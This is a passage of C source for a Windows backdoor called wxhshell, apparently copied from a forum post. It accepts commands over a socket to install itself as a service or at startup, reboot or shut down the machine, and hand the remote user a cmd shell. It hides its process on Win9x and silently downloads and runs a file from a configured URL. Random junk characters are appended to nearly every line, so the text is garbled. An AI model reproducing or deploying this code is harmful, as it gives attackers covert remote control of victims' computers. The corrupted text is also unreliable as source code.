  // 帮助 (**k4c,  
  case '?': { x/)o'#d$|l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8|U-{"!O ?  
    break; bb@3%r|_<  
  } A;ti$jy  
  // 安装 V\2&?#GZ  
  case 'i': { (mR ;MC  
    if(Install()) mO?yrM *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '1f:8  
    else %F.^cd"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?gGmJl  
    break; JvI6+[  
    } MlVVST  
  // 卸载 vgyv~Px]AW  
  case 'r': { fRow@DI\  
    if(Uninstall()) @D3|Ak1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7)FI_uW  
    else HOPi2nf{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sf(2~BMQI  
    break; YU (|i}b  
    } ej^pFo  
  // 显示 wxhshell 所在路径 k% -S7iQ  
  case 'p': { :#pfv)W6t  
    char svExeFile[MAX_PATH]; \-2O&v'}  
    strcpy(svExeFile,"\n\r"); $!m (S&f  
      strcat(svExeFile,ExeFile); Q=}U  
        send(wsh,svExeFile,strlen(svExeFile),0); Dau'VtzN  
    break; xUw)mUn@N  
    } j_#oP  
  // 重启 &1(PS)s  
  case 'b': { V39`J*fI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FKVf_Ncf%  
    if(Boot(REBOOT)) kH9fK80  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !#' y#  
    else { U5f<4I  
    closesocket(wsh); ~4t7Q  
    ExitThread(0); )V6<'>1WZ  
    } fMSB  
    break; @*s7~:VQ  
    } 0.4Q-?J  
  // 关机 5j S8{d0  
  case 'd': { oDvE0"Sz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jy kY8;4  
    if(Boot(SHUTDOWN)) 8<w8"B.i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]"DsZI-glW  
    else { ^|+;~3<J  
    closesocket(wsh); 5N'Z"C0  
    ExitThread(0); ~,: FZ1wh  
    } |mO4+:-~D+  
    break; x 8v2mnk  
    } d#OE) ,`  
  // 获取shell =Kh1 HU.F  
  case 's': { m-h+UKt  
    CmdShell(wsh); =yy7P[D  
    closesocket(wsh); MPxe|Wws  
    ExitThread(0); D$W09ng-  
    break; MNzWTn@  
  } WXgGB[x  
  // 退出 ^<"^}Jh.M  
  case 'x': { }vGW lNd#g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p~!UE/V  
    CloseIt(wsh); PRyZ; @  
    break; c&rS7%  
    } ,%uK^U.zk  
  // 离开 6_#:LFke  
  case 'q': { F]4JemSjK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @9X+ BdQU  
    closesocket(wsh); v[UrOT:  
    WSACleanup(); '9R.$,N  
    exit(1); |@Mx? (  
    break; |_ u  
        } ztRe\(9bL  
  } W? ^ ?Kx  
  } 3gcDc~~=  
4sCzUvI~Y1  
  // 提示信息 G7yR&x^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F CbU> 1R  
} E#L"*vh  
  } 2xx  
l)^sE)  
  return; \F }s"#  
} pm 4"Q!K  
ff3HR+%M  
// shell模块句柄 ?8O %k<?  
int CmdShell(SOCKET sock) 4EZl (v"f`  
{ <PayP3E  
STARTUPINFO si; A3Lfh6O  
ZeroMemory(&si,sizeof(si)); ?;dfA/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6_.K9;Gd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U fzA/  
PROCESS_INFORMATION ProcessInfo; (r]3tGp  
char cmdline[]="cmd"; 13X\PO'9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9AGf4tuy  
  return 0; e/{1u$  
} >n^| eAH  
ox2?d<dC6  
// 自身启动模式 u*aFWl]=  
int StartFromService(void) s:fy *6=[Z  
{ "kHQ}#6r  
typedef struct 5^}"Tn4I  
{ NdlJdq  
  DWORD ExitStatus; mg)ZoC  
  DWORD PebBaseAddress; 4.^1D';(  
  DWORD AffinityMask; wy1xZQ<5  
  DWORD BasePriority; "0&+ `7  
  ULONG UniqueProcessId; -ST[!W V  
  ULONG InheritedFromUniqueProcessId; #:5vN-9?  
}   PROCESS_BASIC_INFORMATION; )U~,q>H+ %  
\U0p?wdr:  
PROCNTQSIP NtQueryInformationProcess; k$u/6lw]IB  
;ZSJ-r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \"X<\3z2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )<vU F]e~  
:JEzfI1  
  HANDLE             hProcess; n'&Cr0{  
  PROCESS_BASIC_INFORMATION pbi; UZ`GS$D@  
$GR 3tLzK:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k6p Xc<]8  
  if(NULL == hInst ) return 0; 2GHmA_7P  
O7MFKAaD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |Zn |?#F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^D{!!)O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sI7<rI.t){  
7<ZP(I5X  
  if (!NtQueryInformationProcess) return 0; 905%5\Y  
O!3MXmaO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iEtnwSt  
  if(!hProcess) return 0; >sUavvJ~x  
~ PO)>;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^Ia:e ?)W  
AWY#t&  
  CloseHandle(hProcess); e)Be*J]4  
@-7h}2P Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g.& n X/  
if(hProcess==NULL) return 0; xUiSAKrcM  
M_5$y )M  
HMODULE hMod; VdVUYp  
char procName[255]; *kliI]B F]  
unsigned long cbNeeded; fO;#;p.  
L=ala1{O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); * mzJ)4A  
?8g*"& cn  
  CloseHandle(hProcess); [SFX;v!9  
* [\H)Lz  
if(strstr(procName,"services")) return 1; // 以服务启动 HI` q!LPv  
Y5 BWg  
  return 0; // 注册表启动 s$V'|Pt  
} 9K9{$jN~  
Fp_?1 y  
// 主模块 _I"T(2Au  
int StartWxhshell(LPSTR lpCmdLine) J FYV@%1~  
{ ?k5m1,fHW  
  SOCKET wsl; mHm"QBa!  
BOOL val=TRUE; $P9'"a)Lm  
  int port=0; 8"fZ>XQ  
  struct sockaddr_in door; 0/1Ay{ns  
&!@7+'])  
  if(wscfg.ws_autoins) Install(); O}Ipg[h  
@w%{yzr%  
port=atoi(lpCmdLine); {0&'XA=j  
IJ2]2FI  
if(port<=0) port=wscfg.ws_port; eBX#^  
#3vq+mcn  
  WSADATA data; vKN"o* q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s8Kf$E^?e.  
B2t.;uz(,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   //cj$}Rn!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HSGM&!5mW  
  door.sin_family = AF_INET; <6^MVaD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s2A3.SN  
  door.sin_port = htons(port); 7sKN`  
Dz/I"bZLC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S6CM/  
closesocket(wsl); Y)^qF)v,d  
return 1; m<)0 XE6w  
} k_%2Ok   
WF\ hXO  
  if(listen(wsl,2) == INVALID_SOCKET) { Qb}7lm{r  
closesocket(wsl); hFl$u8KV  
return 1; @/h_v#W  
} )R$+dPu>  
  Wxhshell(wsl); yoa"21E$  
  WSACleanup(); (dD+?ZOO  
*(6vO{  
return 0; s\ft:a@  
IJHNb_Cku  
} Dyv 6K_,  
!|6M,Rk_  
// 以NT服务方式启动 (t'hWS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }~pT saw  
{ 5W"&$6vj  
DWORD   status = 0; ({ 'I;]AQ  
  DWORD   specificError = 0xfffffff; qN((Xz+AZE  
_j{^I^P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g a|RW0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,!+>/RlJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kBolDPvBG  
  serviceStatus.dwWin32ExitCode     = 0; db$wKvO1  
  serviceStatus.dwServiceSpecificExitCode = 0; A0{ !m  
  serviceStatus.dwCheckPoint       = 0; vg@kPuOiO  
  serviceStatus.dwWaitHint       = 0; gC^4K9g  
3S4'x4*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mqL&bmT  
  if (hServiceStatusHandle==0) return; UeNa  
hE.NW  
status = GetLastError(); c%p7?3Ry  
  if (status!=NO_ERROR) b0W~*s [4  
{ 0I6[`*|SX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a1V+doC  
    serviceStatus.dwCheckPoint       = 0; ap|7./yg  
    serviceStatus.dwWaitHint       = 0; vbT"}+^Sh  
    serviceStatus.dwWin32ExitCode     = status; PDN3=PAR/A  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,\*PpcU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wX(h]X"q  
    return; D)C^'/8q  
  } -h=K]Y{`  
V %k #M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S`,(10Y  
  serviceStatus.dwCheckPoint       = 0; J;Y=o B  
  serviceStatus.dwWaitHint       = 0; W zM9{c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hoy+J/  
} HsA4NRF'7  
0Q@ &z  
// 处理NT服务事件,比如:启动、停止 PnB%vS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qU!*QZ^y&  
{ ]{- >/.oB  
switch(fdwControl) 3GEI)!  
{ /mMRV:pd  
case SERVICE_CONTROL_STOP: h rfu\cI  
  serviceStatus.dwWin32ExitCode = 0; L<HJ!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L_fu<W  
  serviceStatus.dwCheckPoint   = 0; 5<o8prt B  
  serviceStatus.dwWaitHint     = 0; bn`1JI@S4  
  { 9f ,$JjX[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #:rywz+  
  } F:"CaDk  
  return; d-%!.,F#W  
case SERVICE_CONTROL_PAUSE: KPGo*mY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <0my,hAK  
  break; yya"*]*S  
case SERVICE_CONTROL_CONTINUE: 0(A(Vb5J.T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ImJ2tz6  
  break; g'G"`)~ 2  
case SERVICE_CONTROL_INTERROGATE: |Sg FHuA  
  break; `<I+(8]Uz  
}; H8[ L:VeNT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6FMW}*6<  
} $~M#msK9  
Xo[={2_  
// 标准应用程序主函数 NABwtx>.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cx?XJ)  
{ ?m3,e&pB5  
yp%7zrU  
// 获取操作系统版本 PprCz"  
OsIsNt=GetOsVer(); GC(:}e|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zUg-M  
`TNW LD@Z  
  // 从命令行安装 --SlxV/x  
  if(strpbrk(lpCmdLine,"iI")) Install(); gC-3ghmgS  
Wi3:;`>G<p  
  // 下载执行文件 T/NeoU3 p  
if(wscfg.ws_downexe) { >"qnuv G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1`1U'ibhe  
  WinExec(wscfg.ws_filenam,SW_HIDE); [d="94Ab  
} E? > ERO3  
 6C6<,c   
if(!OsIsNt) { ;0lHi4 c0  
// 如果时win9x,隐藏进程并且设置为注册表启动 $ZSjq  
HideProc(); O)g\/uRy  
StartWxhshell(lpCmdLine); BD6oN]  
} U_ j\UQC  
else tHez S~t_  
  if(StartFromService()) %5|awWo_?  
  // 以服务方式启动 qx3@]9  
  StartServiceCtrlDispatcher(DispatchTable); @ i $jyc  
else =b{wzx}e  
  // 普通方式启动 i v7^ !  
  StartWxhshell(lpCmdLine); o+e:H jZZ  
d{?X:*F  
return 0; nCF1i2*6|"  
}
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只看该作者 1 发表于: 2006-10-10
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